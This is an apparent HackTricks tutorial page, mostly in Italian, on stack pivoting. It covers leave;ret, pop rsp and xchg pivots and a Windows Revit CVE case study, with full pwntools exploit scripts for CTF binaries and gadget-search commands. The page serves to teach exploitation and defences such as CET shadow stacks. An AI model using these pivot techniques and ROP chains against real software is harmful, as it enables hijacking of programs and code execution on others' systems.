Stack Pivoting
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Basic Information
Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l’esecuzione di più funzioni tramite un uso accurato del frame pointer e della sequenza di istruzioni leave; ret.
Come promemoria, su x86/x86-64 leave equivale a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
E poiché il salvato EBP/RBP è nello stack prima del salvato EIP/RIP, è possibile controllarlo controllando lo stack.
Notes
- Su 64-bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
- Alcuni compiler omettono il frame pointer (vedi “EBP might not be used”). In tal caso,
leavepotrebbe non comparire e questa tecnica non funzionerà.
EBP2Ret
Questa tecnica è particolarmente utile quando puoi alterare l’EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell’epilogo della funzione.
Se, durante l’esecuzione di fvuln, riesci a iniettare uno fake EBP nello stack che punti a un’area di memoria dove è situato l’indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per il pop), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave imposta RSP sulla location costruita e il successivo pop rbp decrementa RSP, facendolo effettivamente puntare a un indirizzo lì memorizzato dall’attaccante. Poi ret userà quell’indirizzo.
Nota come devi conoscere 2 indirizzi: l’indirizzo dove ESP/RSP andrà a puntare, e il valore memorizzato a quell’indirizzo che ret consumerà.
Exploit Construction
Prima devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterà qui e consumerà il primo ret.
Poi, devi scegliere l’indirizzo usato da ret che trasferirà l’esecuzione. Potresti usare:
- Un indirizzo valido di ONE_GADGET.
- L’indirizzo di
system()seguito dal return e dagli argomenti appropriati (su x86:rettarget =&system, poi 4 byte di junk, poi&"/bin/sh"). - L’indirizzo di un gadget
jmp esp;(ret2esp) seguito da shellcode inline. - Una catena ROP posizionata in memoria scrivibile.
Ricorda che prima di qualunque di questi indirizzi nell’area controllata, deve esserci spazio per il pop ebp/rbp derivante da leave (8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo fake EBP e mantenere il controllo dopo che la prima chiamata ritorna.
Off-By-One Exploit
Esiste una variante usata quando puoi modificare soltanto il byte meno significativo dell’EBP/RBP salvato. In tal caso, la locazione di memoria che contiene l’indirizzo su cui saltare con ret deve condividere i primi tre/cinque byte con l’EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene incrementato per saltare il più lontano possibile all’interno di una pagina/regione allineata vicina.
È anche comune usare un RET sled nello stack e mettere la vera catena ROP alla fine per aumentare la probabilità che il nuovo RSP punti all’interno dello sled e che la catena ROP finale venga eseguita.
EBP Chaining
Posizionando un indirizzo controllato nello slot EBP salvato dello stack e un gadget leave; ret in EIP/RIP, è possibile spostare ESP/RSP verso un indirizzo controllato dall’attaccante.
Ora RSP è controllato e l’istruzione successiva è ret. Inserisci nella memoria controllata qualcosa del tipo:
&(next fake EBP)-> Caricato dapop ebp/rbpderivante daleave.&system()-> Chiamato daret.&(leave;ret)-> Dopo la fine disystem, sposta RSP al prossimo fake EBP e continua.&("/bin/sh")-> Argomento persystem.
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
Questo è simile a un ret2lib, ma più complesso e utile solo in casi limite.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
suggerimento di allineamento amd64: System V ABI richiede un allineamento dello stack di 16 byte nei punti di chiamata. Se la tua chain chiama funzioni come
system, aggiungi un alignment gadget (es.,ret, osub rsp, 8 ; ret) prima della chiamata per mantenere l’allineamento ed evitare crashmovaps.
EBP potrebbe non essere usato
Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni o con l’omissione del frame pointer, EBP/RBP non controllano mai ESP/RSP. Di conseguenza, qualsiasi exploit che si basi sul controllo di EBP/RBP fallirà perché il prologue/epilogue non ripristina dal frame pointer.
- Non ottimizzato / frame pointer usato:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Ottimizzato / frame pointer omesso:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il frame pointer viene completamente omesso allora non esiste un epilogo basato su rbp attraverso cui pivotare.
Altri modi per controllare RSP
pop rsp gadget
In this page you can find an example using this technique. For that challenge it was needed to call a function with 2 specific arguments, and there was a pop rsp gadget and there is a leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la tecnica ret2esp qui:
Trovare pivot gadgets rapidamente
Usa il tuo gadget finder preferito per cercare pivot primitives classiche:
leave ; retsu funzioni o nelle libreriepop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oadd esp, <imm> ; reton x86)
Esempi:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Schema classico di pivot staging
Una strategia di pivot robusta usata in molti CTFs/exploits:
- Usa un piccolo overflow iniziale per chiamare
read/recvin una grande area scrivibile (es.,.bss, heap, o memoria mappata RW) e posizionare lì una ROP chain completa. - Ritorna su un pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) per spostare RSP in quella regione. - Continua con la staged chain (es., leak libc, chiama
mprotect, poi usareadper lo shellcode, quindi salta su di esso).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
I parser client-side talvolta implementano destructor loops che chiamano indirettamente un function pointer ricavato da campi di oggetti attacker-controlled. Se ogni iterazione offre esattamente una chiamata indiretta (una “one-gadget” machine), puoi convertire questo in un affidabile stack pivot e in un ROP entry.
Osservato nella deserializzazione di Autodesk Revit RFA (CVE-2025-5037):
- Oggetti appositamente costruiti di tipo
AStringcollocano un puntatore ai byte controllati dall’attacker all’offset 0. - Il destructor loop esegue effettivamente un gadget per oggetto:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Due pivot pratici:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” che contiene
8B E0→mov esp, eax, eventualmenteret, per pivotare dal call primitive a una heap-based ROP chain. - Windows 11 (full 64-bit addrs): usare due oggetti per guidare un constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(sposta il rax originale in rbp) - Gadget 2:
leave ; ... ; ret(diventamov rsp, rbp ; pop rbp ; ret), pivotando nel buffer del primo oggetto, dove segue una convenzionale ROP chain.
Consigli per Windows x64 dopo il pivot:
- Rispetta lo shadow space di 0x20 byte e mantieni l’allineamento a 16 byte prima dei siti di
call. Spesso è comodo posizionare literal sopra l’indirizzo di ritorno e usare un gadget comelea rcx, [rsp+0x20] ; call raxseguito dapop rax ; retper passare indirizzi di stack senza corrompere il controllo di flusso. - Moduli helper non-ASLR (se presenti) forniscono pool di gadget e import stabili come
LoadLibraryW/GetProcAddressper risolvere dinamicamente target comeucrtbase!system. - Creare gadget mancanti tramite un writable thunk: se una sequenza promettente termina con una
calltramite un puntatore funzione scrivibile (es., DLL import thunk o function pointer in .data), sovrascrivi quel puntatore con un single-step benigno comepop rax ; ret. La sequenza allora si comporta come se terminasse conret(es.,mov rdx, rsi ; mov rcx, rdi ; ret), il che è prezioso per caricare i register arg di Windows x64 senza corromperne altri.
Per la costruzione completa della chain e esempi di gadget, vedi il riferimento sotto.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Controlli rapidi su Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Note per labs/CTF:
-
Alcune distro moderne abilitano SHSTK per i binari CET-enabled quando hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di boot del kernel
nousershstk, o abilitato selettivamente tramite i tunable di glibc durante l’avvio (vedi riferimenti). Non disabilitare mitigazioni su target di produzione. -
Tecniche basate su JOP/COOP o SROP potrebbero ancora essere praticabili su alcuni target, ma SHSTK in particolare rompe i pivot basati su
ret. -
Nota Windows: Windows 10+ espone user-mode e Windows 11 aggiunge a kernel-mode “Hardware-enforced Stack Protection” basata su shadow stacks. I processi CET-compatible impediscono stack pivoting/ROP al
ret; gli sviluppatori opt-in tramite CETCOMPAT e politiche correlate (vedi riferimento).
ARM64
In ARM64, i prologue e epiloghi delle funzioni non memorizzano né recuperano il registro SP nello stack. Inoltre, l’istruzione RET non ritorna all’indirizzo puntato da SP, ma all’indirizzo contenuto in x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
Il modo per eseguire qualcosa di simile allo stack pivoting in ARM64 sarebbe poter controllare il
SP(controllando qualche registro il cui valore viene passato aSPo perché per qualche motivoSPprende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell’epilogo per caricare il registrox30da unSPcontrollato e fareRETverso di esso.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
Riferimenti
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Il programma fornisce un leak per stack o pie e una WWW di un qword. Prima ottieni il leak dello stack e usi la WWW per tornare indietro e ottenere il leak della pie. Poi usi la WWW per creare un loop “eterno” abusando delle entry di
.fini_array+ chiamando__libc_csu_fini(more info here). Abusando di questa scrittura “eterna”, viene scritta una ROP chain nella .bss e alla fine viene chiamata pivotando con RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK,
nousershstk, flag in/proc/$PID/status, e abilitazione viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


